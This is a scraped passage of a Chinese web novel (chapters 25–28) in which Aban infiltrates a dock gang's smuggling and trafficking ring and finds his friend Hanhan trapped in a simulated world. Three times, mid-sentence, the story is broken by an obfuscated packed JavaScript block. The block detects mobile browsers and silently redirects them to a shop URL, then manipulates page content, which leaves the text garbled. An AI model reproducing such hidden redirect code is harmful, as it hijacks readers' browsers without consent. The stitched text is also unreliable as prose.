酒馆里鱼龙混杂,三教九流都有。阿班很快摸清了这里的门道。他不多话,但耳朵灵。端酒送菜的时候,总能听到些零碎的消息。
“听说了吗?前几日西街口丢的那个小寡妇,好像自己跑回来了!”
“真的假的?不是让‘鬼船’带走了吗?”
“谁知道呢……听说那晚码头那边闹了贼,打起来了,巡夜的都惊动了。那小寡妇趁乱跑的。”
“啧啧,命真大……不过,惹了那些人,她以后日子怕也不好过。”
“谁说不是呢……”
阿班低着头擦桌子,仿佛没听见。
几天后的一个傍晚,酒馆里来了几个生面孔。为首的是个脸上带疤的汉子,眼神凶悍,身后跟着两三个同样不好惹的跟班。他们一进来,原本喧闹的酒馆顿时安静了不少,不少熟客都下意识地低下头。
独眼张迎了上去,脸上堆起带着几分畏惧的讨好笑容:“疤爷,您来了,里面请,里面请。”
被称作疤爷的汉子哼了一声,大马金刀地在最里面一张桌子坐下。跟班们散在周围。
阿班端着酒菜过去,动作平稳,目不斜视。放下东西,转身要走。
“等等。”疤爷忽然开口,声音粗嘎。
阿班停下脚步,转过身,脸上是恰到好处略带惶恐的恭敬:“疤爷,您还有什么吩咐?”
疤爷没说话,上下打量着他,目光像刀子一样刮过他的脸和身体,那眼神里带着评估。
“新来的?以前没见过。”疤爷问。
“是,小的刚来没几天,在张伯这儿帮工。”阿班垂着眼回答。
“看着挺机灵。”疤爷端起酒碗喝了一口,“叫什么?”
“小的叫阿班。”
“阿班……”疤爷重复了一遍,没再多问,挥挥手,“行了,去吧。”
阿班应声,退了下去。他能感觉到,疤爷的目光在他背后停留了片刻。
接下来的几天,疤爷那伙人又来了两次。每次,疤爷都会有意无意地多看阿班几眼,有时会让他添酒,问两句无关痛痒的话。
阿班表现得像个本分又有点胆怯的帮工,问什么答什么,不多言,手脚勤快。
他知道,鱼儿在试探诱饵。
机会来得比预想的快。
这天打烊后,独眼张把阿班叫到跟前,脸色有些复杂。
“阿班啊。”独眼张吧嗒着旱烟,烟雾缭绕,“疤爷那边……缺个跑腿打杂的。点名要你去。”
阿班心里一跳,面上却露出犹豫和害怕:“张伯,疤爷他们……我听说……”
“听说什么?”独眼张瞪了他一眼,“疤爷是西码头‘永丰号’的人,正经的船行!跟着他们,比在我这儿有出息!就是……规矩严点,活儿可能也不那么干净。”他顿了顿,压低声音,“不过,你小子机灵,应该能应付。总比在这儿混吃等死强。”
阿班沉默了一会儿,像是下了很大决心:“张伯,我……我去。谢谢张伯这些日子的照顾。”
独眼张摆摆手:“行了,明天一早,去西码头‘永丰号’货栈找疤爷。机灵点,别给我丢人。”
“是。”
第二天,阿班换上自己最好的一套衣裳。虽然依旧是粗布,但浆洗得挺括。他来到西码头“永丰号”货栈。这里比独眼张的酒馆气派多了,高大的仓库,进出的力工,空气里弥漫着香料、皮革和海水的混合气味。
疤爷正在指挥人装卸货物,看到他,招了招手。
“来了?”疤爷打量着他,“以后就在这儿干活。眼明手快,少问多做,明白吗?”
“明白,疤爷。”
“先去把那边几箱货搬到仓库东角,轻拿轻放,里面是精细物件。”疤爷指了指不远处几个用油布盖着的木箱。
阿班应下,过去搬箱子。箱子不算特别重,但搬动时,里面传来轻微的、瓷器碰撞的脆响。他动作小心,按照吩咐搬到仓库东角一个相对干燥的角落。
干了一上午力气活,中午休息时,疤爷扔给他两个馒头一块咸菜。
“吃吧,下午还有活儿。”
阿班默默吃着。他能感觉到,货栈里其他人看他的目光带着审视和疏离。这里的人,似乎自成一体。
下午,疤爷没让他再干重活,而是叫他跟着去码头边“接点东西”。
他们来到一处相对僻静的泊位,等了约莫一刻钟,一条不起眼的小船靠了过来。船上下来两个人,抬着一个用麻绳捆扎得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119606|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严严实实的、长条形的包裹。
包裹很沉,两个人抬着都有些吃力。形状……有些奇怪。
疤爷上前,低声和对方交谈了几句,然后示意阿班:“搭把手,抬到后面那辆板车上去。”
阿班上前,和其中一个抬包裹的人一起用力。包裹入手沉重,质地坚硬,透过粗糙的麻布,能感觉到里面似乎是……木头?不,比木头更冷硬。抬起来时,包裹里传来沉闷的、金属摩擦的细微声响。
他的心跳漏了一拍,但脸上没有任何异样。
将包裹抬上板车,用油布盖好。疤爷付了钱,小船迅速离开。
“推着车,跟我走。”疤爷吩咐。
阿班推着板车,跟着疤爷穿过码头区,来到一处偏僻的院落。院子不大,门紧闭着。
疤爷敲了敲门,三长两短。
门开了一条缝,里面的人看到是疤爷,才将门打开。板车推进院子。疤爷示意阿班将包裹搬下来,抬进屋里。屋里光线昏暗,堆着些杂物。疤爷解开麻绳,掀开油布。里面是几柄用草绳捆在一起的、锈迹斑斑的……刀?不,更像是某种制式的、被淘汰的旧兵器。刃口虽然锈了,但形制还在。
“老规矩,处理干净。”疤爷对屋里一个一直沉默着的老头说。
老头点点头,没说话,开始检查那些旧兵器。
疤爷这才转向阿班,脸上没什么表情:“看到了?”
阿班点头:“看到了,疤爷。”
“知道是什么吗?”
“像是……旧军械?”
疤爷扯了扯嘴角,算是笑了:“有点眼力。不过,在这里,它们就是‘废铁’。咱们的活儿,就是把这些‘废铁’收来,处理一下,变成能用的‘铁料’,卖给需要的人。”他盯着阿班,“这活儿,来钱比扛包快,但也麻烦。嘴不严,手不干净,或者胆子太小,都干不了。你现在想走,还来得及。”
阿班迎着他的目光,那双总是显得有点懒散的黑眼睛里,此刻却透出一种与他年龄不太相符的平静。
“疤爷,我想跟着您干。”他说,“我不怕麻烦,嘴也严。只要钱给够。”
疤爷看了他几秒,忽然哈哈大笑,拍了拍他的肩膀:“好小子!有种!行,以后你就跟着我。好好干,亏待不了你!”
从那天起,阿班正式成了“永丰号”货栈,或者说疤爷这条线上的人。他干的活很杂,搬运、跑腿、望风,有时也参与收货和处理。他很快发现,疤爷这条线,绝不仅仅是处理废铁那么简单。那些废铁的来源可疑,处理后的去向更可疑。而疤爷上面,显然还有人。
他变得比在酒馆时更沉默,他知道这很危险。疤爷这种人,翻脸比翻书还快。而他这个“阿班”的身份,脆弱得不堪一击。
夜色下的连州港,依旧灯火阑珊。阿班推着一车废铁,走在昏暗的巷道里,身影逐渐融入那片深不见底的黑暗。他的新皮才刚刚穿上,而旧日的血债似乎就在不远处隐隐传来潮声。
26. 第二十六章 柳枝灯影
“永丰号”明面上是家正经船行,做些南北杂货、香料布匹的生意。但疤爷负责的这部分,显然是正经生意以外的部分。他们从各种隐秘渠道收来旧货——有时是锈蚀的刀枪,有时是来路不明的瓷器、漆器,甚至是一些被小心包裹、看不出原貌的沉重物件。这些旧货在偏僻的院落里经过粗糙的处理、改头换面,然后通过疤爷的关系,装上特定的船只,运往海外。
利润惊人,风险也惊人。疤爷对手下管得很严,嘴不严的、手脚不干净的,甚至只是看着不顺眼的,都可能无声无息地消失。阿班则表现得恰到好处,他沉默、听话、力气足、眼神活,对疤爷偶尔透露的上面的只言片语从不深究,只关心分到自己手里的铜板够不够实在。疤爷对他还算满意,一些稍微核心点的跑腿活也开始交给他。
这天下午,疤爷把阿班叫到货栈后院一个僻静角落,递给他一个沉甸甸的粗布包。
“把这个,送到城东柳枝胡同,最里面那户,门楣上刻着蝙蝠的。交给一个叫桂娘的女人。”疤爷压低声音,眼神锐利,“记住,亲手交到她手里,别让旁人看见。她要是问什么,就说‘疤爷让送的,老价钱’。别的,一句都别多说。送了就回来,别耽搁。”
阿班接过布包,入手颇沉,硬邦邦的,形状不规则,像是几块金属疙瘩。
“明白了,疤爷。”他出了货栈,没有直接往城东去,而是先在码头区绕了两圈,确认没人跟踪,才拐上通往城东的大路。柳枝胡同他知道,住的多是些小贩、匠户,也有不少暗门子。
胡同很深,两侧是低矮的砖房,墙皮斑驳。空气里弥漫着劣质油脂、污水和某种廉价脂粉混合的气味。他走到最里面,果然看到一扇不起眼的木门,门楣上方用拙劣的刀法刻着一只抽象的蝙蝠。
他敲了敲门。
里面传来一个有些沙哑的女声:“谁啊?”
“送东西的。”阿班答道。
门开了一条缝,露出一张女人的脸。约莫三十上下,面容憔悴,眼睛里布满血丝,五官底子能看出昔日的清秀。她穿着一身半旧的靛蓝布裙,头发松松地挽着,插着一根木簪,眼神里充斥着浓烈的警惕和掩饰不住的疲惫。
阿班在看到这张脸的瞬间,呼吸刹那停滞。
这张脸……他认识。
不是在这个世界,是在现实。在实验室外面,那个由于最近生活有些郁闷,被他半哄半劝拉来参加这个“实验项目”散心的朋友——涵涵。
她在这里成了……“桂娘”?
“什么东西?”桂娘,或者说是涵涵的目光落在他手里的布包上,眉头微蹙。
阿班将布包递过去,低声道:“疤爷让送的,老价钱。”
涵涵接过布包,掂了掂,脸上没什么表情。“知道了。”她说着就要关门。
“等等。”阿班下意识地开口。
涵涵停住动作,疑惑地看着他,眼神里的警惕更浓了。
阿班张了张嘴,却发现自己不知道该说什么。直接相认?在这个地方,以他们现在的身份?疤爷的警告还在耳边。而且,涵涵看他的眼神,完全是看一个陌生的可能带来麻烦的跑腿小子。
他迅速压下翻腾的情绪,换上一副市井帮工常见的、略带讨好的讪笑:“那个……桂娘,疤爷让问一声,上次那批‘绣花针’,用着还顺手不?要是顺手,下次还照那个数送。”
他临时编了个黑话,“绣花针”指代什么他不确定,但听起来像是这类交易里常见的暗语。
涵涵愣了一下,随即眼神闪烁一下,似乎明白了什么,又似乎更困惑了。她含糊地“嗯”了一声:“还成。跟疤爷说,照旧就行。”说完,不再给阿班说话的机会,迅速关上了门。
阿班站在紧闭的门前,听着里面落栓的轻微声响,在原地呆立了几秒。
涵涵……她看起来过得不好。那种憔悴和疲惫,不是装出来的。她在这个世界,经历了什么?怎么会和疤爷这条线扯上关系?那个“桂娘”的身份,是掩护,还是……
无数疑问涌上心头,但此刻他什么都不能做。
他深吸一口气,压下所有情绪,转身快步离开了柳枝胡同。一路上,他脑子里乱糟糟的,既有重逢的震动,更有深切的担忧。
回到货栈,他向疤爷复命。
“送到了?”疤爷问。
“送到了,亲手交给桂娘的。她说知道了。”阿班回答,顿了顿,状似无意地补充了一句,“桂娘看着气色不大好,是不是病了?”
疤爷瞥了他一眼,眼神有些古怪:“你倒是观察得细。”他哼了一声,“她男人前年没了,一个人撑着,不容易。不过……”他话锋一转,语气带着点警告的意味,“不该你打听的少打听。做好自己的事。”
“是,疤爷。”阿班低下头。
从疤爷的反应看,涵涵在这个世界的身份是“寡妇桂娘”,而且似乎已经卷入这条线有一段时间了。疤爷知道她的处境,但显然并不关心,只把她当成一个交易环节。
接下来的几天,阿班一边继续干活,一边暗中留意。他不敢直接再去柳枝胡同,怕引起怀疑。但他从其他跑腿的只言片语和疤爷偶尔的吩咐中,拼凑出一些信息。
桂娘似乎负责一些旧货的初步分拣和伪装,尤其是那些需要改头换面看起来像普通家什或废品的东西。她手艺似乎不错,但深居简出,很少与外人接触。疤爷对她似乎有种复杂的情绪,既利用她的手艺,又带着几分轻视和隐约的控制欲。
有一次,疤爷喝多了,对着手下吹嘘:“……城东那个桂娘,别看现在一副寡妇相,以前也是好人家的女儿,识文断字。可惜命不好,落到这步田地。现在嘛,离了老子这条线,她连饭都吃不上!就得乖乖听话……”
阿班在一旁默默听着,握着扫帚的手指关节微微发白。
涵涵在现实里就是个普通白领。现在成了依附于疤爷这种人的寡妇桂娘,做着见不得光的勾当,朝不保夕。他必须想办法接近她,确认她的状况,最好能把她从这条线上弄出去。但绝不能轻举妄动,疤爷不是善茬。他自己现在也是泥菩萨过江。
机会在一次意外的送货中来临。
疤爷让他送一批处理过的旧铁料去码头,交接给一条半夜靠港的船。同去的还有另外两个人。其中一个是疤爷的心腹,叫黑皮,另一个是个沉默寡言的老力工。
交接很顺利,船上来的人验完货直接付了钱。黑皮点完钱,揣进怀里,对阿班和老力工说:“你们先回去,我还有点事跟船上的兄弟说。”
阿班和老力工推着空板车往回走。走到半路,经过一条昏暗的巷子时,老力工忽然捂着肚子,脸色发白:“哎哟……不行,肚子疼得厉害……阿班,你、你先回去跟疤爷说一声,我找个地方解决一下……”
说完,也不等阿班回答,就捂着肚子钻进旁边的岔巷。
阿班看着老力工消失的方向,又看了眼前面通往货栈的路,一个念头忽然冒出来。
他推着板车,没有回货栈,而是拐弯朝着城东柳枝胡同的方向快步走去。
夜已深,胡同里寂静无声,只有他自己的脚步声和板车轱辘的轻响。他再次来到那扇刻着蝙蝠的木门前。
这一次,他没有敲门,而是绕到侧面,看了看低矮的土墙。他放下板车,后退几步,一个助跑,双手扒住墙头,用力一撑,翻了过去。
院子很小,堆着些杂物。唯一亮着灯的是西厢房。
阿班蹑手蹑脚地走到窗下,舔湿手指,在窗纸上戳了个小洞,凑近看去。
屋里陈设简陋。涵涵正坐在一盏油灯下,面前摊着一块粗布,上面散落着几件小小的、看不出原貌的金属零件。她手里拿着一把小锉刀,正低头仔细地打磨着什么。昏黄的灯光照在她专注而疲惫的侧脸上,额前的碎发被汗水粘住。
她看起来比上次见面时更瘦了。阿班的心揪紧了,他轻轻敲了敲窗棂。
涵涵吓了一跳,猛地抬起头,手里的锉刀差点掉在地上。她警惕地看向窗户,声音发紧:“谁?!”
“桂娘,是我,送货的阿班。”阿班压低声音,尽量让语气听起来平和,“疤爷让我……再送点东西过来,急用。”
屋里沉默了片刻。然后,门栓被轻轻拉开。
涵涵站在门内,手里还握着那把小锉刀,眼神里的警惕丝毫未减。“什么东西?这么晚……”
阿班迅速闪身进屋,反手轻轻带上门。
涵涵惊得后退一步,锉刀横在胸前:“你干什么?!”
“涵涵。”阿班看着她,用回了现实里的称呼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119607|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音很轻,却带着一种不容错认的熟悉感,“是我,班班。”
涵涵的眼睛瞬间睁大,手里的锉刀“当啷”一声掉在地上。她死死盯着阿班的脸,嘴唇颤抖着,像是想说什么,却发不出声音。泪水毫无预兆地涌了上来,在她憔悴的脸上冲出两道湿痕。
“班……班班?”她的声音破碎不堪,带着难以置信的颤抖,“真、真的是你?你怎么……你怎么也……”
“后来我也进来了,就是变了个模样你可能认不出我……”阿班上前一步,想扶住她摇摇欲坠的身体,又怕唐突,手停在半空,“涵涵,你怎么样?你怎么会在疤哥这里?还成了‘桂娘’?”
涵涵的眼泪流得更凶了,她用手背胡乱抹着脸,却怎么也抹不干。“我……我不知道……醒来就在这里了……他们说我是桂娘,男人死了,欠了债……我、我什么都不记得,只知道要干活,不然就没饭吃,还会被打……”她语无伦次,巨大的恐惧和委屈终于找到了宣泄的出口,“班班,我好怕……这里好可怕……我想回去……我们什么时候能回去?”
阿班的心沉到了谷底。涵涵的情况比他想象的更糟,她完全代入了“桂娘”的身份,,对现实和实验的认知已经模糊。
“别怕,涵涵,别怕。”他尽量让自己的声音听起来镇定,“听着,我们现在在做一个……很真实的实验项目里,记得吗?我带你来的可以拿8万美金的那个。这一切都不是真的,是模拟的。我们会回去的,我保证。”
“模拟?”涵涵茫然地看着他,泪水还在流,“可是……疼是真的,饿是真的……疤爷他们,好凶……我、我逃不掉……”
“我知道,我知道。”阿班看着她惊恐无助的样子,愧疚感几乎要将他淹没,是他把她带进了这个地狱。“听着,涵涵,你现在要做的就是保护好自己,尽量顺着他们,别硬扛。我会想办法,我会带你出去。但你一定要记住,我是班班,是你现实里的朋友,我们是来‘体验’的,这一切终会结束。这个念头,无论如何都要抓住,明白吗?”
涵涵似懂非懂地点点头,又摇摇头,显然混乱极了。
阿班知道,短时间内很难让她完全清醒。他必须抓紧时间。“涵涵,疤爷让你做什么?除了打磨这些零件?”
“还……还有分拣东西,把一些看起来值钱的,混在破烂里……有时候,还要帮他们记一些简单的账……”涵涵抽噎着说,“他们不让我出门,除非必要……送东西都是他们来,或者像你这样的跑腿……”
“账本?在哪里?”阿班敏锐地捕捉到关键。
涵涵指了指墙角一个破旧的矮柜:“在……在柜子最下面,用油布包着。”
阿班快步过去,打开柜子,果然在最底层摸到一个油布包。他迅速打开,里面是几本粗糙的账册,记录着一些货物的进出、银钱往来,用的是简单的暗号和代号。他飞快地翻看着,努力记下一些关键的信息——时间、代号、数额、船名模糊的称谓。
“涵涵,听着。”他合上账本,放回原处,转身严肃地看着她,“这些账本很重要。以后如果有可能,尽量记下里面特别的内容,尤其是涉及上层、船只、还有大笔银钱往来的。但千万不要被发现!你的安全最重要。”
涵涵用力点头,眼神里终于有了一丝聚焦。
“我不能再待了。”阿班看了看窗外,“我得回去,不然疤爷会起疑。涵涵,记住我的话,保护好自己,等我。”
“班班……”涵涵抓住他的袖子,眼泪又涌出来,“你……你一定要小心……”
“我会的。”阿班用力握了握她的手,然后松开,迅速走到门边,听了听外面的动静,闪身出去,消失在夜色中。
他推着板车,快步往回走。夜风吹在脸上,带着寒意。
找到涵涵,是意外之喜,也是沉重的负担。她的状态很糟,深陷在这个虚拟的身份和恐惧中。而疤爷比他想象的更黑暗、控制更严密。
他必须加快行动。不仅要摸清这条贩卖人口的网络,找到何翯需要的证据,还要想办法把涵涵弄出去。
账本是个突破口,但还不够。
他需要更接近疤爷,接近那条“鬼船”,接近这条利益链的顶端。
只有他知道,这场实验早已超出了体验的范畴。
27. 第二十七章 破夜人
阿班推着空板车回到货栈时,夜已深,货栈大门紧闭。他绕到后门,轻轻敲了敲。
门很快开了,开门的是疤爷本人。他披着件外衣,脸色在昏黄的灯笼光下显得有些阴沉。
“怎么才回来?”疤爷问,目光锐利地扫过阿班和他身后的空板车。
“黑皮哥让先走,他自己留下跟船上的人说话。”阿班垂着眼回答,“回来的路上,老陈头突然闹肚子,钻巷子里去了,让我先回。我自个推着车走得慢了些。”
疤爷盯着他看了几秒,似乎在判断这话的真假。阿班保持着恭顺的姿态,心里却绷紧了弦。翻墙去见涵涵耽搁的时间不长,但若疤爷起了疑心,派人去柳枝胡同查看,或者盘问老陈头……
“老陈头那老东西,肠胃一直不好。”疤爷最终哼了一声,似乎接受了这个解释,“行了,把车放好,去歇着吧。明天一早还有活儿。”
“是,疤爷。”阿班应下,将板车推到后院角落放好。
回到货栈后面那间挤了七八个力工的大通铺,黑皮已经回来了,正靠在铺位上剔牙。看到阿班进来,他斜睨了一眼:“回来了?没乱跑吧?”
“没有,黑皮哥。”阿班摇头,在自己靠墙的铺位坐下,开始脱鞋,“直接回来的。”
黑皮没再说什么,翻身睡了。
阿班躺在硬板床上,听着周围此起彼伏的鼾声,毫无睡意。
“桂娘”这个身份,显然是被精心挑选的。一个识文断字、无依无靠的寡妇,有手艺,易控制,是处理某些敏感环节的理想人选。疤爷对她有掌控欲,但未必完全信任。账本放在她那里,或许是一种分散风险的方式。
涵涵现在的精神状态很危险。她几乎完全代入了“桂娘”,对现实的记忆模糊,恐惧深入骨髓。长期在这种高压和恐惧下,她的认知可能会进一步扭曲,甚至彻底迷失。
必须尽快行动。
接下来的几天,阿班发现,疤爷他们除了处理“废铁”,实际上,还同时夹带大量别的东西,比如烟膏、火药原料、精巧但用途不明的各种机关,甚至他还见过半截雕刻着异域花纹的、像是神像的东西,还有的便是大量的人。
那些物件的来源五花八门,有些明显是从古墓或废墟里挖出来的,有些则像是从某些大户人家流出来的,那些人就不知道从哪里掳来的,可能就是从各种闭塞的村子里抓的。货物的去向也基本都是海外。
疤爷上面的人,很少直接露面。阿班只偶尔听到疤爷提起,语气恭敬中带着畏惧。有一次,疤爷喝醉了,含糊地嘟囔了一句:“……林家那边催得紧……这批‘鲜货’得赶紧送出去……”
阿班的心猛地一跳。是那个林家吗?林晚琪的林家?“鲜货”指的是人吧……林家要人干嘛?
他装作没听见,继续低头擦桌子。
又过两天,来机会了。疤爷接到一个急活,要连夜将一批要紧货从城外的秘密仓库转移到码头,装上一艘天亮前就要离港的船。人手不够,阿班也被叫上了。
“阿班,你跟着黑皮,机灵点!”疤爷吩咐,“这批货不能出半点岔子!”
“明白,疤爷。”
夜色如墨,几辆蒙着油布的板车,在疤爷和黑皮的带领下,悄无声息地穿过沉睡的街巷。出城后,来到一处荒废的河神庙后院,这里是他们的秘密仓库之一。
仓库里堆满了各种货物。疤爷指挥着人,将几个标记着特殊符号的木箱搬上板车。箱子很沉,搬动时里面传来沉闷的撞击声,不像是金属。
阿班一边干活,一边用眼角余光扫视仓库。在一个角落,他看到了几个用麻绳捆扎的、长条形的包裹,形状和前几天在码头接的“废铁”很像,但似乎更……规整。旁边还散落着一些破烂的衣物和鞋子,大小不一。
他的心往下一沉。那些,很可能就是“鲜货”曾经穿过的。
板车装好,盖上厚厚的油布,用绳子捆紧。一行人推着车,沿着偏僻的小路往码头赶。
路上,疤爷和黑皮走在前面低声交谈。夜风将只言片语送到阿班耳边。
“……李师爷那边打过招呼了,巡夜的会避开这条道……”
“……船是‘海鹞号’,老陈头掌舵,可靠……”
“……到了地方,直接上船,别耽搁……东家说了,这次御史来得突然,得把尾巴收拾干净……”
东家?李师爷?
阿班的心沉了下去。他们的买卖果然牵涉到官府,甚至可能牵涉到众多像林家那样的地方豪绅。而御史南下,让他们感到压力,开始加快转移证据和货物。
到了码头一处僻静的泊位,有一条中等大小的货船等在那里,船身漆成深灰色,在夜色中几乎与海水融为一体。船帆收着,桅杆上挂着一盏昏黄的灯,灯下站着几个人影。
疤爷上前,与船头一个矮壮的老头,应该是老陈头,低声交谈了几句,然后挥手示意卸货。
箱子被小心翼翼地搬上船。阿班也搭了把手。上船时,他瞥见船舱里堆着不少类似的箱子,还有一些用油布盖着的、形状各异的货物。
货装完,疤爷似乎松了口气,对老陈头道:“老陈,路上小心。到了地方,按老规矩办。”
“放心,疤爷。”老陈头声音沙哑。
疤爷带着人下了船。船很快解缆,悄无声息地滑入黑暗的海面。
回程的路上,疤爷心情似乎不错,甚至哼起了小调。
阿班默默跟在后面,脑子里飞快地整理着今晚得到的信息:秘密仓库的位置、转移的货物、接应的船只、船主、以及东家在御史压力下的反应。
更重要的是,他听到了李师爷的名字——李大昌。他记得这个人,是上一次他赶到青石村时候,那个装作不知道青石村位置,但是又贴心告诉他有人被狼群围攻的读书人。如今成了户房师爷,还与疤哥有勾结。
回到货栈,天边已泛起鱼肚白。疤爷打发众人去休息,自己则进了里间,似乎要写什么东西。
阿班躺在通铺上,辗转反侧。他必须尽快把消息传递给何翯。但怎么传递?他现在被看得紧,轻易不能离开货栈范围,直接去找何翯又太冒险。
他需要一个人,一个既能信任,又不会引起怀疑的中间人。
……涵涵?
不行。她自身难保,而且精神状态不稳定,容易出错。
还有谁?
阿班闭上眼,在记忆里搜寻。
等等……琪琪?林晚琪?
这个念头让他自己都愣了一下。林晚琪现在是林家大小姐,锦衣玉食,与码头区的黑暗世界隔着天堑。她未必会相信与现实完全不是一副皮囊的他。虽然,她可能是唯一一个,既有能力,又可能因为“现实”的联系而愿意帮忙的人。
风险极大,一旦暴露,他和涵涵都可能万劫不复。
可是,没有时间考虑了。“海鹞号”已经出发,证据正在被转移。等到何翯或是其他御史到这里,疤爷他们早就把尾巴处理干净了。
他必须赌一把。
第二天下午,疤爷派阿班去城西一家铁匠铺取一批定制的工具,这是个相对自由的任务。
阿班取了工具,没有直接回货栈。他绕到一家不起眼的笔墨铺子,买了最便宜竹纸笔墨。然后,他在僻静的墙角蹲下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119608|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,用随身带的破碗底儿接了点儿雨水,磨墨。
他回忆着昨晚看到听到的一切,用尽量简洁、隐晦的词句,写了一份密报。没有署名,只用了几个他和何翯在现实里约定的、绝不可能被此世界人理解的暗号作为标识。
写完后,他将竹纸仔细折好,塞进贴身的衣袋里。
接下来,就是如何把这份密报送到林晚琪手里。
直接去林府?不可能。门房不会让他这种打扮的人靠近。
偶遇?机会渺茫。
他需要制造一个合理的接触机会。
阿班想起,前几天听货栈里一个老力工闲聊时提过,林家似乎在码头区也有仓库,偶尔会派人来巡查或运货。那位林二小姐,据说偶尔也会跟着母亲出来见见世面,虽然极少来码头区这种地方。
阿班咬了咬牙,决定主动创造机会。他打听了一下林家码头仓库的大致位置,开始在那附近徘徊。
他不敢靠得太近,只能远远观察。林家的仓库比“永丰号”的更加气派,守卫也明显更森严。进出的人衣着体面,与码头区的苦力截然不同。
一连两天,他都没有看到任何像是林府女眷的身影。
就在他几乎要放弃,考虑其他方法时,转机出现了。
这天上午,林家仓库那边似乎有些动静。几辆马车停在仓库门口,一些仆役打扮的人正在搬运一些看起来比较精细的箱子。过了一会儿,一辆装饰较为雅致的青帷小车驶了过来,停在稍远一些的树荫下。
从马车上,下来一个穿着水绿色比甲、梳着双丫髻的小丫鬟。
阿班的心跳骤然加快。这个小姑娘装扮看起来像是大家闺秀的贴身丫鬟,林晚琪很可能就在车里!
他深吸一口气,强迫自己冷静下来。他不能直接过去。必须有个由头。
那丫鬟似乎在吩咐仓库的管事什么,然后手里拿着册子转身朝马车走去。
机会稍纵即逝。
阿班迅速从藏身处走出来,装作路过的样子,朝着马车的方向走去。在即将与丫鬟擦肩而过时,他脚下似乎被石头绊了一下,一个踉跄,手里的工具包脱手飞出,正好落在丫鬟脚边。
“哎哟!”阿班叫了一声,连忙去捡。
丫鬟吓了一跳,后退一步,警惕地看着这个突然冒出来的、码头工人打扮的年轻人。
“对不住,对不住!”阿班连声道歉,捡起工具包,拍了拍灰。他抬起头,目光飞快地扫过丫鬟的脸,然后,用只有两人能听到的音量,极快地说了一句:“告诉林二小姐,班班找琪琪,听懂了就在你家仓库挂黄灯笼等我。”
丫鬟愣住了,眼睛瞬间瞪大,难以置信地看着他。
阿班不再多言,低下头,匆匆离开,很快消失在码头区杂乱的人流中。
那丫鬟站在原地,手里紧紧攥着册子,脸色变幻不定。她看了看阿班消失的方向,又看了看马车,犹豫片刻,最终快步走向马车,低声对里面说了几句。
马车帘子微微动了一下,但没有掀开。
那丫鬟点点头,转身继续去忙仓库的事,但明显有些心神不宁。
阿班回到货栈,心还在狂跳。他不知道那个贴身丫鬟会不会相信,会不会告诉林晚琪,林晚琪又会是什么反应。
他只能等。
同时,他必须做好最坏的打算——消息没有送达,或者送达了但林晚琪不愿或不敢插手。
那么,他就只能靠自己,带着涵涵,寻找别的生机。
夜色再次降临连州港,阿班躺在通铺上,听着海浪隐约的涛声,手隔着衣服贴在那份藏在内衣兜里的竹纸密报上。
28. 第二十八章 石沉大海
接下来的两天,阿班的心一直悬着。
他照常在货栈干活,疤爷似乎没察觉什么异样,黑皮也依旧是那副颐指气使的样子。
他暗中留意着码头区林家仓库的动静。那辆青帷小车没再出现,灯笼的颜色也没有改变,一切仿佛什么都没发生过。
第三天下午,疤爷派他去给城里一家绸缎庄送“样品”。说是样品,其实是一个沉甸甸的小木盒,封得严严实实。阿班知道,这里面绝不会是布料。
他揣着木盒,走在熙攘的街道上。阳光很好,街市热闹,但他只觉得周遭的一切都隔着一层无形的膜。他的心思全在那句石沉大海的传话上。
琪琪……林晚琪……她到底收到消息没有?如果收到了,她是什么反应?害怕?怀疑?还是根本不信,只当是哪个疯子的胡言乱语?
他了解琪琪,或者说,了解现实里那个三十岁、有些天真、贪图安逸、骨子里带着点小自私的琪琪。在这个虚拟世界里,她成了十五六岁的富家千金,享受着前所未有的富贵和庇护。她会为了一个不确定是否真的同她一样从现实世界来的朋友,去冒险接触码头区的黑暗,去得罪可能牵连家族的势力吗?
可能性微乎其微。
她更可能的选择是:捂住耳朵,闭上眼睛,假装什么都没听见,然后更紧地缩回林府的高墙之内。毕竟,她现在有的是可以失去的东西。
阿班意识到琪琪最终选择是什么的时候,他知道自己不能怪她,换做是他,在同样的情况下,未必会做得更好。求生和自保是本能。只是……涵涵怎么办?他自己又怎么办?
琪琪或许此刻正在绣花,或许在品茶。他在现实中可以肆无忌惮得闯入她的出租屋,但是在这里却隔着无法逾越的阶级和认知的鸿沟。
指望她帮忙,或许从一开始就是奢望。
回到货栈,疤爷正在发火。一个负责望风的年轻力工,昨晚值班时打瞌睡,差点让巡夜的差役撞见正在卸的一批私货。
“……废物!眼皮子都撑不开,要你有什么用!”疤爷一脚踹在那力工腿上,力工疼得龇牙咧嘴,却不敢吭声。
“疤爷息怒,这小子新来的,不懂规矩。”黑皮在一旁劝道,“下次我盯着他。”
